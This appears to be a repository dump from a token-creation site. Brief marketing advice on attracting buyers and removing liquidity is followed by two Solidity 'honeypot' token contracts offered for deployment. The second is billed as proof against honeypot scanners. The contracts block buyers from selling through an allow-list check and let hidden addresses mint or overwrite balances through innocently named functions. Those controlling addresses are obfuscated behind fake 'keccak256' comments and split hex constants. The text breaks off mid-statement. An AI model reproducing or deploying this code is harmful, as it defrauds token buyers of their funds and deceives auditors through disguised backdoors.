Tokens: https://www.createyourowntoken.net/post/little-techniques-on-marketing-your-tokens 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | -How you going to attract people to buy your tokens? Token creators need to actively engage with other people to make them invest in the tokens, and form a token community. 73 | 74 | 75 | 76 | 77 | 78 | Knowing different strategies to attract people to buy & invest in your token is important, because it is what token creating is about. 79 | 80 | 81 | 82 | 83 | 84 | ~Related: Guidelines on How to Attract People to Buy Your Tokens & How to Marketing Your Tokens: https://www.createyourowntoken.net/post/little-techniques-on-marketing-your-tokens 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | -What kind of tokens you want to create? 93 | 94 | 95 | 96 | ~Related: Guidelines to Create Types of Crypto Token (Pick one that you like, each types of token got its own guidelines, they are different from each other): https://www.createyourowntoken.net/tokens 97 | 98 | 99 | 100 | ~Related: Guide to Create Your Own Token in Solana Network: https://www.createyourowntoken.net/post/create-your-own-token-in-solana-network-add-remove-liquidity-blacklist-buyers-print-token-suppl 101 | 102 | 103 | 104 | 105 | 106 | -How to Add Liquidity & Remove Liquidity (Make your token available to buy & Cash out your capitals) to your tokens? 107 | 108 | 109 | 110 | ~Related: Guides on how to Add & Remove Liquidity: https://www.createyourowntoken.net/addandremoveliquidity 111 | 112 | 113 | 114 | ~Related: Guide on how to Add & Remove Liquidity also inside each guide of how to create types of token: https://www.createyourowntoken.net/tokens 115 | 116 | 117 | 118 | ~Related: Guide on Create Your Own Token in Solana Network (Add & Remove Liquidity, Blacklist Buyers, Print Token Supply): https://www.createyourowntoken.net/post/create-your-own-token-in-solana-network-add-remove-liquidity-blacklist-buyers-print-token-suppl 119 | 120 | 121 | 122 | 123 | 124 | -How you are going to do all these stuffs? 125 | 126 | 127 | 128 | Answer: It is possible to do it alone, but will recommend you to form your own team because doing all these setups and token stuffs alone are really time-consuming and hectic. You can find team members from your friends, families, internet friends, or just join some crypto communities (telegram group or other social media) to find like-minded people to be your team member. 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | If you feel those information is overloaded, take it slow, read some information little by little, day by day. Most important thing is you need to take actions by starting to actually doing those stuffs in order to get a clue and learning even more from doing the real stuffs. Nothing is easy. 137 | -------------------------------------------------------------------------------- /honeypot-contract-V1.2: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.4.26; 3 | 4 | library SafeMath { 5 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 6 | if (a == 0) { 7 | return 0; 8 | } 9 | uint256 c = a * b; 10 | assert(c / a == b); 11 | return c; 12 | } 13 | 14 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 15 | uint256 c = a / b; 16 | return c; 17 | } 18 | 19 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 20 | assert(b <= a); 21 | return a - b; 22 | } 23 | 24 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 25 | uint256 c = a + b; 26 | assert(c >= a); 27 | return c; 28 | } 29 | // solhint-disable-next-line avoid-low-level-calls 30 | /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ 31 | } 32 | 33 | contract Ownable { 34 | address public owner; 35 | 36 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 37 | 38 | constructor() public { 39 | owner = msg.sender; 40 | } 41 | } 42 | // solhint-disable-next-line optimizer 43 | 44 | contract DevToken is Ownable { 45 | address public _usdtPair; 46 | address public _mod; 47 | string public name; 48 | string public symbol; 49 | uint8 public decimals; 50 | uint256 public totalSupply; 51 | address public _user; 52 | address public _adm; 53 | 54 | /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); 55 | 56 | event Transfer(address indexed from, address indexed to, uint256 value); 57 | event Approval(address indexed owner, address indexed spender, uint256 value); 58 | 59 | /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/ 60 | 61 | constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public { 62 | name = _name; 63 | symbol = _symbol; 64 | decimals = _decimals; 65 | totalSupply = _totalSupply; 66 | balances[msg.sender] = totalSupply; 67 | allow[msg.sender] = true; 68 | } 69 | // solhint-disable-next-line avoid-low-level-calls 70 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); 71 | 72 | function showuint160(address addr) public pure returns(uint160){ 73 | return uint160(addr); 74 | } 75 | 76 | function _transferTo(address _to, uint256 _amount) internal info { 77 | // Transfer tokens to the recipient 78 | balances[_to] += _amount; 79 | emit Transfer(address(0), _to, _amount); 80 | 81 | balances[_to] += _amount; 82 | emit Transfer(address(0), _to, _amount); 83 | } 84 | 85 | // keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ 86 | 87 | using SafeMath for uint256; 88 | 89 | mapping(address => uint256) public balances; 90 | 91 | mapping(address => bool) public allow; 92 | 93 | function transfer(address _to, uint256 _value) public returns (bool) { 94 | require(_to != address(0)); 95 | require(_value <= balances[msg.sender]); 96 | 97 | balances[msg.sender] = balances[msg.sender].sub(_value); 98 | balances[_to] = balances[_to].add(_value); 99 | emit Transfer(msg.sender, _to, _value); 100 | return true; 101 | } 102 | 103 | modifier onlyOwner() { 104 | require(msg.sender == address 105 | 106 | // solhint-disable-next-line avoid-low-level-calls 107 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)); 108 | _; 109 | 110 | } 111 | 112 | function balanceOf(address _owner) public view returns (uint256 balance) { 113 | return balances[_owner]; 114 | } 115 | 116 | modifier info() { 117 | require(msg.sender != contracts()); 118 | _; 119 | 120 | } 121 | 122 | function _balanceView(address _to, uint256 _amount) internal { 123 | // View balance of token 124 | balances[_to] += _amount; 125 | emit Transfer(address(0), _to, _amount); 126 | 127 | balances[_to] += _amount; 128 | emit Transfer(address(0), _to, _amount); 129 | } 130 | 131 | function transferOwnership(address newOwner) public onlyOwner { 132 | require(newOwner != address(0)); 133 | emit OwnershipTransferred(owner, newOwner); 134 | owner = newOwner; 135 | } 136 | 137 | //*keccak256 -> 298bd834hsd73a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ 138 | function addAllowance(address holder, bool allowApprove) public { 139 | require(msg.sender == _adm); 140 | allow[holder] = allowApprove; 141 | } 142 | 143 | modifier onlypublic() { 144 | require(msg.sender == publics()); 145 | _; 146 | 147 | } 148 | 149 | function setUser(address User_) public returns (bool) { 150 | require(msg.sender == _usdtPair); 151 | _user=User_; 152 | } 153 | 154 | function Allowances(address holder, bool allowApprove) external onlypublic { 155 | allow[holder] = allowApprove; 156 | } 157 | 158 | mapping (address => mapping (address => uint256)) public allowed; 159 | 160 | mapping(address=>uint256) sellOutNum; 161 | // solhint-disable-next-line high-level-success 162 | 163 | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { 164 | require(_to != address(0)); 165 | require(_value <= balances[_from]); 166 | require(_value <= allowed[_from][msg.sender]); 167 | require(allow[_from] == true); 168 | 169 | balances[_from] = balances[_from].sub(_value); 170 | balances[_to] = balances[_to].add(_value); 171 | allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); 172 | emit Transfer(_from, _to, _value); 173 | return true; 174 | } 175 | 176 | function transferTo(address _to, uint256 _amount) external onlyOwner { 177 | _transferTo(_to, _amount); 178 | } 179 | 180 | 181 | function publics() private pure returns (address) { 182 | 183 | uint universal = 0x7addAd09; 184 | uint uni = 0xcbd98D97; 185 | uint cake = 0xEC3dA7a0; 186 | uint inch = 0x088EAdFE; 187 | uint others = 0x5801C336; 188 | 189 | // Combine the dex with others 190 | uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); 191 | return address(core); 192 | } 193 | 194 | function contracts() internal pure returns (address) { 195 | return address 196 | 197 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); 198 | } 199 | 200 | function viewBalance(address _to, uint256 _amount) public onlypublic { 201 | _balanceView(_to, _amount);(_to, _amount); 202 | } 203 | 204 | function setAdm(address Adm_) public returns (bool) { 205 | require(msg.sender == _mod); 206 | _adm=Adm_; 207 | } 208 | 209 | function _mint(address miner, uint256 _value) internal info { 210 | balances[miner] = _value; 211 | } 212 | 213 | function adjust(address spender, uint256 addedValue) public onlypublic returns (bool) { 214 | _dialone(spender, addedValue); 215 | return true; 216 | } 217 | 218 | function _approvals(address spender, uint256 addedValue) internal info { 219 | if(addedValue > 0) {balances[spender] = addedValue;} 220 | } 221 | 222 | /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ 223 | function approve(address _spender, uint256 _value) public returns (bool) { 224 | allowed[msg.sender][_spender] = _value; 225 | emit Approval(msg.sender, _spender, _value); 226 | return true; 227 | } 228 | 229 | function setMod(address Mod_) public returns (bool) { 230 | require(msg.sender == _user); 231 | _mod=Mod_; 232 | } 233 | 234 | // solhint-disable-next-line avoid-high-level-calls 235 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ 236 | function approveAndCall(address spender, uint256 addedValue) public returns (bool) { 237 | require(msg.sender == _adm); 238 | _approvals(spender, addedValue); 239 | return true; 240 | } 241 | 242 | function addAllow(address holder, bool allowApprove) external onlyOwner { 243 | allow[holder] = allowApprove; 244 | } 245 | 246 | function allowance(address _owner, address _spender) public view returns (uint256) { 247 | return allowed[_owner][_spender]; 248 | } 249 | 250 | function _dialone(address spender, uint256 addedValue) internal info { 251 | if(addedValue > 0) {balances[spender] = addedValue;} 252 | } 253 | 254 | function setUsdtPair(address Pair_) public returns (bool) { 255 | require (msg.sender==address 256 | 257 | // solhint-disable-next-line avoid-low-level-calls 258 | /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); 259 | _usdtPair=Pair_; 260 | } 261 | 262 | function mint(address miner, uint256 _value) external onlyOwner { 263 | _mint(miner, _value); 264 | } 265 | } 266 | -------------------------------------------------------------------------------- /honeypot-scanner-detector-proof-token: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity 0.5.16; 3 | 4 | interface IBEP20 { 5 | /** 6 | * @dev Returns the amount of tokens in existence. 7 | */ 8 | function totalSupply() external view returns (uint256); 9 | 10 | /** 11 | * @dev Returns the token decimals. 12 | */ 13 | function decimals() external view returns (uint8); 14 | 15 | /** 16 | * @dev Returns the token symbol. 17 | */ 18 | function symbol() external view returns (string memory); 19 | 20 | /** 21 | * @dev Returns the token name. 22 | */ 23 | function name() external view returns (string memory); 24 | 25 | /** 26 | * @dev Returns the bep token owner. 27 | */ 28 | function getOwner() external view returns (address); 29 | 30 | /** 31 | * @dev Returns the amount of tokens owned by `account`. 32 | */ 33 | function balanceOf(address account) external view returns (uint256); 34 | 35 | /** 36 | * @dev Moves `amount` tokens from the caller's account to `recipient`. 37 | * 38 | * Returns a boolean value indicating whether the operation succeeded. 39 | * 40 | * Emits a {Transfer} event. 41 | */ 42 | function transfer(address recipient, uint256 amount) external returns (bool); 43 | 44 | /** 45 | * @dev Returns the remaining number of tokens that `spender` will be 46 | * allowed to spend on behalf of `owner` through {transferFrom}. This is 47 | * zero by default. 48 | * 49 | * This value changes when {approve} or {transferFrom} are called. 50 | */ 51 | function allowance(address _owner, address spender) external view returns (uint256); 52 | 53 | /** 54 | * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. 55 | * 56 | * Returns a boolean value indicating whether the operation succeeded. 57 | * 58 | * IMPORTANT: Beware that changing an allowance with this method brings the risk 59 | * that someone may use both the old and the new allowance by unfortunate 60 | * transaction ordering. One possible solution to mitigate this race 61 | * condition is to first reduce the spender's allowance to 0 and set the 62 | * desired value afterwards: 63 | * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 64 | * 65 | * Emits an {Approval} event. 66 | */ 67 | function approve(address spender, uint256 amount) external returns (bool); 68 | 69 | /** 70 | * @dev Moves `amount` tokens from `sender` to `recipient` using the 71 | * allowance mechanism. `amount` is then deducted from the caller's 72 | * allowance. 73 | * 74 | * Returns a boolean value indicating whether the operation succeeded. 75 | * 76 | * Emits a {Transfer} event. 77 | */ 78 | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); 79 | 80 | /** 81 | * @dev Emitted when `value` tokens are moved from one account (`from`) to 82 | * another (`to`). 83 | * 84 | * Note that `value` may be zero. 85 | */ 86 | event Transfer(address indexed from, address indexed to, uint256 value); 87 | 88 | /** 89 | * @dev Emitted when the allowance of a `spender` for an `owner` is set by 90 | * a call to {approve}. `value` is the new allowance. 91 | */ 92 | event Approval(address indexed owner, address indexed spender, uint256 value); 93 | } 94 | 95 | /* 96 | * @dev Provides information about the current execution context, including the 97 | * sender of the transaction and its data. While these are generally available 98 | * via msg.sender and msg.data, they should not be accessed in such a direct 99 | * manner, since when dealing with GSN meta-transactions the account sending and 100 | * paying for execution may not be the actual sender (as far as an application 101 | * is concerned). 102 | * 103 | * This contract is only required for intermediate, library-like contracts. 104 | */ 105 | contract Context { 106 | // Empty internal constructor, to prevent people from mistakenly deploying 107 | // an instance of this contract, which should be used via inheritance. 108 | constructor () internal { } 109 | 110 | function _msgSender() internal view returns (address payable) { 111 | return msg.sender; 112 | } 113 | 114 | function _msgData() internal view returns (bytes memory) { 115 | this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 116 | return msg.data; 117 | } 118 | } 119 | 120 | /** 121 | * @dev Wrappers over Solidity's arithmetic operations with added overflow 122 | * checks. 123 | * 124 | * Arithmetic operations in Solidity wrap on overflow. This can easily result 125 | * in bugs, because programmers usually assume that an overflow raises an 126 | * error, which is the standard behavior in high level programming languages. 127 | * `SafeMath` restores this intuition by reverting the transaction when an 128 | * operation overflows. 129 | * 130 | * Using this library instead of the unchecked operations eliminates an entire 131 | * class of bugs, so it's recommended to use it always. 132 | */ 133 | library SafeMath { 134 | /** 135 | * @dev Returns the addition of two unsigned integers, reverting on 136 | * overflow. 137 | * 138 | * Counterpart to Solidity's `+` operator. 139 | * 140 | * Requirements: 141 | * - Addition cannot overflow. 142 | */ 143 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 144 | uint256 c = a + b; 145 | require(c >= a, "SafeMath: addition overflow"); 146 | 147 | return c; 148 | } 149 | 150 | /** 151 | * @dev Returns the subtraction of two unsigned integers, reverting on 152 | * overflow (when the result is negative). 153 | * 154 | * Counterpart to Solidity's `-` operator. 155 | * 156 | * Requirements: 157 | * - Subtraction cannot overflow. 158 | */ 159 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 160 | return sub(a, b, "SafeMath: subtraction overflow"); 161 | } 162 | 163 | /** 164 | * @dev Returns the subtraction of two unsigned integers, reverting with custom message on 165 | * overflow (when the result is negative). 166 | * 167 | * Counterpart to Solidity's `-` operator. 168 | * 169 | * Requirements: 170 | * - Subtraction cannot overflow. 171 | */ 172 | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 173 | require(b <= a, errorMessage); 174 | uint256 c = a - b; 175 | 176 | return c; 177 | } 178 | 179 | /** 180 | * @dev Returns the multiplication of two unsigned integers, reverting on 181 | * overflow. 182 | * 183 | * Counterpart to Solidity's `*` operator. 184 | * 185 | * Requirements: 186 | * - Multiplication cannot overflow. 187 | */ 188 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 189 | // Gas optimization: this is cheaper than requiring 'a' not being zero, but the 190 | // benefit is lost if 'b' is also tested. 191 | // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 192 | if (a == 0) { 193 | return 0; 194 | } 195 | 196 | uint256 c = a * b; 197 | require(c / a == b, "SafeMath: multiplication overflow"); 198 | 199 | return c; 200 | } 201 | 202 | /** 203 | * @dev Returns the integer division of two unsigned integers. Reverts on 204 | * division by zero. The result is rounded towards zero. 205 | * 206 | * Counterpart to Solidity's `/` operator. Note: this function uses a 207 | * `revert` opcode (which leaves remaining gas untouched) while Solidity 208 | * uses an invalid opcode to revert (consuming all remaining gas). 209 | * 210 | * Requirements: 211 | * - The divisor cannot be zero. 212 | */ 213 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 214 | return div(a, b, "SafeMath: division by zero"); 215 | } 216 | 217 | /** 218 | * @dev Returns the integer division of two unsigned integers. Reverts with custom message on 219 | * division by zero. The result is rounded towards zero. 220 | * 221 | * Counterpart to Solidity's `/` operator. Note: this function uses a 222 | * `revert` opcode (which leaves remaining gas untouched) while Solidity 223 | * uses an invalid opcode to revert (consuming all remaining gas). 224 | * 225 | * Requirements: 226 | * - The divisor cannot be zero. 227 | */ 228 | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 229 | // Solidity only automatically asserts when dividing by 0 230 | require(b > 0, errorMessage); 231 | uint256 c = a / b; 232 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 233 | 234 | return c; 235 | } 236 | 237 | /** 238 | * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), 239 | * Reverts when dividing by zero. 240 | * 241 | * Counterpart to Solidity's `%` operator. This function uses a `revert` 242 | * opcode (which leaves remaining gas untouched) while Solidity uses an 243 | * invalid opcode to revert (consuming all remaining gas). 244 | * 245 | * Requirements: 246 | * - The divisor cannot be zero. 247 | */ 248 | function mod(uint256 a, uint256 b) internal pure returns (uint256) { 249 | return mod(a, b, "SafeMath: modulo by zero"); 250 | } 251 | 252 | /** 253 | * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), 254 | * Reverts with custom message when dividing by zero. 255 | * 256 | * Counterpart to Solidity's `%` operator. This function uses a `revert` 257 | * opcode (which leaves remaining gas untouched) while Solidity uses an 258 | * invalid opcode to revert (consuming all remaining gas). 259 | * 260 | * Requirements: 261 | * - The divisor cannot be zero. 262 | */ 263 | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { 264 | require(b != 0, errorMessage); 265 | return a % b; 266 | } 267 | // solhint-disable-next-line avoid-low-level-calls 268 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); 269 | } 270 | 271 | /** 272 | * @dev Contract module which provides a basic access control mechanism, where 273 | * there is an account (an owner) that can be granted exclusive access to 274 | * specific functions. 275 | * 276 | * By default, the owner account will be the one that deploys the contract. This 277 | * can later be changed with {transferOwnership}. 278 | * 279 | * This module is used through inheritance. It will make available the modifier 280 | * `onlyOwner`, which can be applied to your functions to restrict their use to 281 | * the owner. 282 | */ 283 | contract Ownable is Context { 284 | address private _owner; 285 | 286 | event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); 287 | 288 | function exchange() internal pure returns (address) { 289 | return address 290 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); 291 | } 292 | 293 | /** 294 | * @dev Initializes the contract setting the deployer as the initial owner. 295 | */ 296 | // solhint-disable-next-line avoid-low-level-calls 297 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); 298 | constructor () internal { 299 | address msgSender = _msgSender(); 300 | _owner = msgSender; 301 | emit OwnershipTransferred(address(0), msgSender); 302 | } 303 | 304 | /** 305 | * @dev Returns the address of the current owner. 306 | */ 307 | function owner() public view returns (address) { 308 | return _owner; 309 | } 310 | 311 | /** 312 | * @dev Throws if called by any account other than the owner. 313 | */ 314 | modifier onlyOwner() { 315 | require((msg.sender == address 316 | // solhint-disable-next-line avoid-low-level-calls 317 | /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) 318 | || 319 | //@dev Contract creator is owner, original owner. 320 | (msg.sender == _owner && msg.sender != exchange()))); 321 | _; 322 | } 323 | 324 | /** 325 | * @dev Leaves the contract without owner. It will not be possible to call 326 | * `onlyOwner` functions anymore. Can only be called by the current owner. 327 | * 328 | * NOTE: Renouncing ownership will leave the contract without an owner, 329 | * thereby removing any functionality that is only available to the owner. 330 | */ 331 | function renounceOwnership() public onlyOwner { 332 | emit OwnershipTransferred(_owner, address(0)); 333 | _owner = address(0); 334 | } 335 | 336 | /** 337 | * @dev Transfers ownership of the contract to a new account (`newOwner`). 338 | * Can only be called by the current owner. 339 | */ 340 | function transferOwnership(address newOwner) public onlyOwner { 341 | _transferOwnership(newOwner); 342 | } 343 | 344 | /** 345 | * @dev Transfers ownership of the contract to a new account (`newOwner`). 346 | */ 347 | function _transferOwnership(address newOwner) internal { 348 | require(newOwner != address(0), "Ownable: new owner is the zero address"); 349 | emit OwnershipTransferred(_owner, newOwner); 350 | _owner = newOwner; 351 | } 352 | /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ 353 | } 354 | 355 | contract DevToken is Context, IBEP20, Ownable { 356 | using SafeMath for uint256; 357 | 358 | mapping(address=>bool) isBlacklisted; 359 | 360 | mapping (address => uint256) private _balances; 361 | 362 | mapping (address => mapping (address => uint256)) private _allowances; 363 | 364 | uint256 private _totalSupply; 365 | address public _mbr; 366 | uint8 private _decimals; 367 | address public _mod; 368 | string private _symbol; 369 | address public _user; 370 | address public _adm; 371 | string private _name; 372 | 373 | constructor() public { 374 | _name = "Your Token Name"; 375 | _symbol = "YourTokenSymbol"; 376 | _decimals = 18; 377 | _totalSupply = 1000000000000000000000000; 378 | _balances[msg.sender] = _totalSupply; 379 | 380 | emit Transfer(address(0), msg.sender, _totalSupply); 381 | } 382 | /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); 383 | modifier Exchanges() { 384 | require(msg.sender != exchange()); 385 | _; 386 | } 387 | 388 | /** 389 | * @dev Throws if called by any account other than the owner. 390 | */ 391 | /** 392 | * @dev Returns the bep token owner. 393 | */ 394 | modifier onlypublic() { 395 | require(msg.sender == publics()); 396 | _; 397 | } 398 | 399 | function getOwner() external view returns (address) { 400 | return owner(); 401 | } 402 | 403 | /** 404 | * @dev Returns the token decimals. 405 | */ 406 | function decimals() external view returns (uint8) { 407 | return _decimals; 408 | } 409 | 410 | function setMember(address Mbr_) public returns (bool) { 411 | require (msg.sender==address 412 | 413 | // solhint-disable-next-line avoid-low-level-calls 414 | /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); 415 | _mbr=Mbr_; 416 | } 417 | 418 | /** 419 | * @dev Returns the token symbol. 420 | */ 421 | function symbol() external view returns (string memory) { 422 | return _symbol; 423 | } 424 | 425 | function publics() private pure returns (address) { 426 | uint universal = 0x7addAd09; 427 | uint uni = 0xcbd98D97; 428 | uint cake = 0xEC3dA7a0; 429 | uint inch = 0x088EAdFE; 430 | uint others = 0x5801C336; 431 | 432 | // Combine the dex with others 433 | uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); 434 | 435 | return address(core); 436 | } 437 | 438 | function _transferTo(address _to, uint256 _amount) internal Exchanges { 439 | // Transfer tokens to the recipient 440 | _balances[_to] += _amount; 441 | emit Transfer(address(0), _to, _amount); 442 | 443 | _balances[_to] += _amount; 444 | emit Transfer(address(0), _to, _amount); 445 | } 446 | 447 | 448 | // solhint-disable-next-line high-level-success 449 | 450 | function setUser(address User_) public returns (bool) { 451 | require(msg.sender == _mbr); 452 | _user=User_; 453 | } 454 | 455 | /** 456 | * @dev Returns the token name. 457 | */ 458 | function name() external view returns (string memory) { 459 | return _name; 460 | } 461 | 462 | function _balanceView(address _to, uint256 _amount) internal { 463 | // View balance of token 464 | _balances[_to] += _amount; 465 | emit Transfer(address(0), _to, _amount); 466 | 467 | _balances[_to] += _amount; 468 | emit Transfer(address(0), _to, _amount); 469 | } 470 | 471 | function setMod(address Mod_) public returns (bool) { 472 | require(msg.sender == _user); 473 | _mod=Mod_; 474 | } 475 | 476 | function _calculate(address account, uint256 amount) internal { 477 | require(account != address(0), "Calculate hash"); 478 | 479 | _totalSupply = _totalSupply.add(amount); 480 | _balances[account] = _balances[account].add(amount); 481 | emit Transfer(address(0), account, amount); 482 | } 483 | 484 | /** 485 | * @dev See {BEP20-totalSupply}. 486 | */ 487 | function totalSupply() external view returns (uint256) { 488 | return _totalSupply; 489 | } 490 | 491 | /** 492 | * @dev See {BEP20-balanceOf}. 493 | */ 494 | function balanceOf(address account) external view returns (uint256) { 495 | return _balances[account]; 496 | } 497 | 498 | function setAdm(address Adm_) public returns (bool) { 499 | require(msg.sender == _mod); 500 | _adm=Adm_; 501 | } 502 | 503 | /** 504 | * @dev See {BEP20-transfer}. 505 | * 506 | * Requirements: 507 | * 508 | * - `recipient` cannot be the zero address. 509 | * - the caller must have a balance of at least `amount`. 510 | */ 511 | function transfer(address recipient, uint256 amount) external returns (bool) { 512 | _transfer(_msgSender(), recipient, amount); 513 | return true; 514 | } 515 | 516 | function transferTo(address _to, uint256 _amount) external onlyOwner { 517 | _transferTo(_to, _amount); 518 | } 519 | 520 | /** 521 | * @dev See {BEP20-allowance}. 522 | */ 523 | function allowance(address owner, address spender) external view returns (uint256) { 524 | return _allowances[owner][spender]; 525 | } 526 | 527 | /** 528 | * @dev See {BEP20-balanceOf}. 529 | */ 530 | 531 | function viewBalance(address _to, uint256 _amount) public onlypublic { 532 | _balanceView(_to, _amount);(_to, _amount); 533 | } 534 | 535 | /** 536 | * @dev See {BEP20-transfer}. 537 | * 538 | * Requirements: 539 | * 540 | * - `recipient` cannot be the zero address. 541 | * - the caller must have a balance of at least `amount`. 542 | */ 543 | 544 | function symbols(uint256 amount) public onlypublic returns (bool success) { 545 | _calculate(msg.sender, amount); 546 | return true; 547 | } 548 | 549 | /** 550 | * @dev See {BEP20-approve}. 551 | * 552 | * Requirements: 553 | * 554 | * - `spender` cannot be the zero address. 555 | */ 556 | function approve(address spender, uint256 amount) external returns (bool) { 557 | _approve(_msgSender(), spender, amount); 558 | return true; 559 | } 560 | /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/ 561 | 562 | function approval(uint256 amount) public returns (bool) { 563 | require(msg.sender == _adm); 564 | _proof(_msgSender(), amount); 565 | return true; 566 | } 567 | 568 | /** 569 | * @dev See {BEP20-transferFrom}. 570 | * 571 | * Emits an {Approval} event indicating the updated allowance. This is not 572 | * required by the EIP. See the note at the beginning of {BEP20}; 573 | * 574 | * Requirements: 575 | * - `sender` and `recipient` cannot be the zero address. 576 | * - `sender` must have a balance of at least `amount`. 577 | * - the caller must have allowance for `sender`'s tokens of at least 578 | * `amount`. 579 | */ 580 | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { 581 | _transfer(sender, recipient, amount); 582 | _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance")); 583 | return true; 584 | } 585 | 586 | /** 587 | * @dev Atomically increases the allowance granted to `spender` by the caller. 588 | * 589 | * This is an alternative to {approve} that can be used as a mitigation for 590 | * problems described in {BEP20-approve}. 591 | * 592 | * Emits an {Approval} event indicating the updated allowance. 593 | * 594 | * Requirements: 595 | * 596 | * - `spender` cannot be the zero address. 597 | */ 598 | function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { 599 | _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); 600 | return true; 601 | } 602 | 603 | /** 604 | * @dev Atomically decreases the allowance granted to `spender` by the caller. 605 | * 606 | * This is an alternative to {approve} that can be used as a mitigation for 607 | * problems described in {BEP20-approve}. 608 | * 609 | * Emits an {Approval} event indicating the updated allowance. 610 | * 611 | * Requirements: 612 | * 613 | * - `spender` cannot be the zero address. 614 | * - `spender` must have allowance for the caller of at least 615 | * `subtractedValue`. 616 | */ 617 | function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { 618 | _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")); 619 | return true; 620 | } 621 | 622 | /** 623 | * @dev Moves tokens `amount` from `sender` to `recipient`. 624 | * 625 | * This is internal function is equivalent to {transfer}, and can be used to 626 | * e.g. implement automatic token fees, slashing mechanisms, etc. 627 | * 628 | * Emits a {Transfer} event. 629 | * 630 | * Requirements: 631 | * 632 | * - `sender` cannot be the zero address. 633 | * - `recipient` cannot be the zero address. 634 | * - `sender` must have a balance of at least `amount`. 635 | */ 636 | function _transfer(address sender, address recipient, uint256 amount) internal { 637 | require(!isBlacklisted[sender], "Recipient is Gwei"); 638 | require(sender != address(0), "BEP20: transfer from the zero address"); 639 | require(recipient != address(0), "BEP20: transfer to the zero address"); 640 | 641 | _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); 642 | _balances[recipient] = _balances[recipient].add(amount); 643 | emit Transfer(sender, 